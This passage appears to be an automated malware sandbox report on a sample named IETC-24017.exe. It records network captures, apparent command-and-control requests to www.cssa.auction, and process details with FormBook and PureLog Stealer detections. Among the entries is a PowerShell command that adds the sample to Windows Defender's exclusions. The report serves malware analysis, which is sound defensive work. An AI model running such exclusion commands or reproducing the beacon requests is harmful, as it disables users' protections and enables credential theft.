2f 32 30 70 78 20 41 72 69 61 6c 2c 20 48 65 6c 76 65 74 69 [TRUNCATED] Data Ascii: <!DOCTYPE html><html style="height:100%"><head><meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no" /><title> 404 Not Found</title><style>@media (prefers-color-scheme:dark){body{background-color:#000!important}}</style></head><body style="color: #444; margin:0;font: normal 14px/20px Arial, Helvetica, sans-serif; height:100%; background-color: #fff;"><div style="height:auto; min-height:100%; "> <div style="text-align: center; width:800px; margin-left: -400px; position:absolute; top: 30%; left:50%;"> <h1 style="margin:0; font-size:150px; line-height:150px; font-weight:bold;">404</h1><h2 style="margin-top:20px;font-size: 30px;">Not Found</h2><p>The resource requested could not be found on this server!</p></div></div><div style="color:#f0f0f0; font-size:12px;margin:auto;padding:0px 30px 0px 30px;position:relative;clear:both;height:100px;margin-top:-101px;background-color:#474747;border-top: 1px solid rgba(0,0,0,0.15);box-shadow: 0
Nov 25, 2024 09:45:58.766140938 CET	253	IN	Data Raw: 20 31 70 78 20 30 20 72 67 62 61 28 32 35 35 2c 20 32 35 35 2c 20 32 35 35 2c 20 30 2e 33 29 20 69 6e 73 65 74 3b 22 3e 0a 3c 62 72 3e 50 72 6f 75 64 6c 79 20 70 6f 77 65 72 65 64 20 62 79 20 4c 69 74 65 53 70 65 65 64 20 57 65 62 20 53 65 72 76 Data Ascii: 1px 0 rgba(255, 255, 255, 0.3) inset;"><br>Proudly powered by LiteSpeed Web Server<p>Please be advised that LiteSpeed Technologies Inc. is not a web hosting company and, as such, has no control over content found on this site.</p></div></bod

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
52	192.168.2.4	50059	107.167.84.42	80	3164	C:\Program Files (x86)\HAAlyPNaOhHHVbXNykVdTFHVVIFIQJkRdRstvzBMVDGJOHXsxgOmqOWPKexctSTZypxpxZMxQwddeiY\UFUUPGsATdE.exe

Timestamp	Bytes transferred	Direction	Data
Nov 25, 2024 09:46:00.236850023 CET	516	OUT	GET /omhm/?ifzt=xaTrXXt9Kjd4VWfnLz4MLqEmpY3f+jxhDbzO0ePZZ/F2G9w3aeU7HujdvobedEDJNQrJvHKMILqdCxDRZi1zA3XNT5QIvXDZ0i+KO+cUgqjZuYPkfG7cBF4=&qX=qP0hoZO0bjg4 HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-us Host: www.cssa.auction Connection: close User-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2311.135 BIDUBrowser/7.6 Safari/537.36
Nov 25, 2024 09:46:01.479526043 CET	1236	IN	HTTP/1.1 404 Not Found Connection: close cache-control: private, no-cache, no-store, must-revalidate, max-age=0 pragma: no-cache content-type: text/html content-length: 1251 date: Mon, 25 Nov 2024 08:46:01 GMT server: LiteSpeed Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 31 30 30 25 22 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 20 2f 3e 0a 3c 74 69 74 6c 65 3e 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0d 0a 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 3e 40 6d 65 64 69 61 20 28 70 72 65 66 65 72 73 2d 63 6f 6c 6f 72 2d 73 63 68 65 6d 65 3a 64 61 72 6b 29 7b 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 30 30 30 21 69 6d 70 6f 72 74 61 6e 74 7d 7d 3c 2f 73 74 79 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 20 23 34 34 34 3b 20 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 3a 20 6e 6f 72 6d 61 6c 20 31 34 70 78 2f 32 30 70 78 20 41 72 69 61 6c 2c 20 48 65 6c 76 65 74 69 [TRUNCATED] Data Ascii: <!DOCTYPE html><html style="height:100%"><head><meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no" /><title> 404 Not Found</title><style>@media (prefers-color-scheme:dark){body{background-color:#000!important}}</style></head><body style="color: #444; margin:0;font: normal 14px/20px Arial, Helvetica, sans-serif; height:100%; background-color: #fff;"><div style="height:auto; min-height:100%; "> <div style="text-align: center; width:800px; margin-left: -400px; position:absolute; top: 30%; left:50%;"> <h1 style="margin:0; font-size:150px; line-height:150px; font-weight:bold;">404</h1><h2 style="margin-top:20px;font-size: 30px;">Not Found</h2><p>The resource requested could not be found on this server!</p></div></div><div style="color:#f0f0f0; font-size:12px;margin:auto;padding:0px 30px 0px 30px;position:relative;clear:both;height:100px;margin-top:-101px;background-color:#474747;border-top: 1px solid rgba(0,0,0,0.15);box-shadow: 0
Nov 25, 2024 09:46:01.479587078 CET	253	IN	Data Raw: 20 31 70 78 20 30 20 72 67 62 61 28 32 35 35 2c 20 32 35 35 2c 20 32 35 35 2c 20 30 2e 33 29 20 69 6e 73 65 74 3b 22 3e 0a 3c 62 72 3e 50 72 6f 75 64 6c 79 20 70 6f 77 65 72 65 64 20 62 79 20 4c 69 74 65 53 70 65 65 64 20 57 65 62 20 53 65 72 76 Data Ascii: 1px 0 rgba(255, 255, 255, 0.3) inset;"><br>Proudly powered by LiteSpeed Web Server<p>Please be advised that LiteSpeed Technologies Inc. is not a web hosting company and, as such, has no control over content found on this site.</p></div></bod

Target ID:	0
Start time:	03:41:57
Start date:	25/11/2024
Path:	C:\Users\user\Desktop\IETC-24017.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\IETC-24017.exe"
Imagebase:	0x320000
File size:	768'512 bytes
MD5 hash:	2D9DA996EC68D0AC26B84D52A3298383
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_PureLogStealer, Description: Yara detected PureLog Stealer, Source: 00000000.00000002.1692106162.0000000006D90000.00000004.08000000.00040000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_PureLogStealer, Description: Yara detected PureLog Stealer, Source: 00000000.00000002.1686417175.0000000003701000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Target ID:	2
Start time:	03:41:59
Start date:	25/11/2024
Path:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\Desktop\IETC-24017.exe"
Imagebase:	0xce0000
File size:	433'152 bytes
MD5 hash:	C32CA4ACFCC635EC1EA6ED8A34DF5FAC
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Target ID:	3
Start time:	03:41:59
Start date:	25/11/2024
Path:	C:\Users\user\Desktop\IETC-24017.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\IETC-24017.exe"
Imagebase:	0xc00000
File size:	768'512 bytes
MD5 hash:	2D9DA996EC68D0AC26B84D52A3298383
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000003.00000002.1821676970.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000003.00000002.1822234803.00000000016B0000.00000040.10000000.00040000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000003.00000002.1824149461.0000000003920000.00000040.10000000.00040000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Target ID:	4
Start time:	03:41:59
Start date:	25/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Target ID:	5
Start time:	03:42:02
Start date:	25/11/2024
Path:	C:\Windows\System32\wbem\WmiPrvSE.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding
Imagebase:	0x7ff693ab0000
File size:	496'640 bytes
MD5 hash:	60FF40CFD7FB8FE41EE4FE9AE5FE1C51
Has elevated privileges:	true
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Target ID:	6
Start time:	03:42:06
Start date:	25/11/2024
Path:	C:\Program Files (x86)\HAAlyPNaOhHHVbXNykVdTFHVVIFIQJkRdRstvzBMVDGJOHXsxgOmqOWPKexctSTZypxpxZMxQwddeiY\UFUUPGsATdE.exe
Wow64 process (32bit):	true
Commandline:	"C:\Program Files (x86)\HAAlyPNaOhHHVbXNykVdTFHVVIFIQJkRdRstvzBMVDGJOHXsxgOmqOWPKexctSTZypxpxZMxQwddeiY\UFUUPGsATdE.exe"
Imagebase:	0xd10000
File size:	140'800 bytes
MD5 hash:	32B8AD6ECA9094891E792631BAEA9717
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000006.00000002.4130326224.0000000007C90000.00000040.80000000.00040000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000006.00000002.4124804278.0000000004D20000.00000040.00000001.00040000.00000000.sdmp, Author: Joe Security
Reputation:	high
Has exited:	false

Target ID:	7
Start time:	03:42:08
Start date:	25/11/2024
Path:	C:\Windows\SysWOW64\openfiles.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\SysWOW64\openfiles.exe"
Imagebase:	0xa80000
File size:	60'416 bytes
MD5 hash:	50BD10A4C573E609A401114488299D3D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000007.00000002.4124676785.0000000004740000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000007.00000002.4123746961.0000000000790000.00000040.80000000.00040000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000007.00000002.4124625092.00000000046F0000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
Reputation:	moderate
Has exited:	false

Target ID:	11
Start time:	03:42:34
Start date:	25/11/2024
Path:	C:\Program Files\Mozilla Firefox\firefox.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Mozilla Firefox\Firefox.exe"
Imagebase:	0x7ff6bf500000
File size:	676'768 bytes
MD5 hash:	C86B1BE9ED6496FE0E0CBE73F81D8045
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true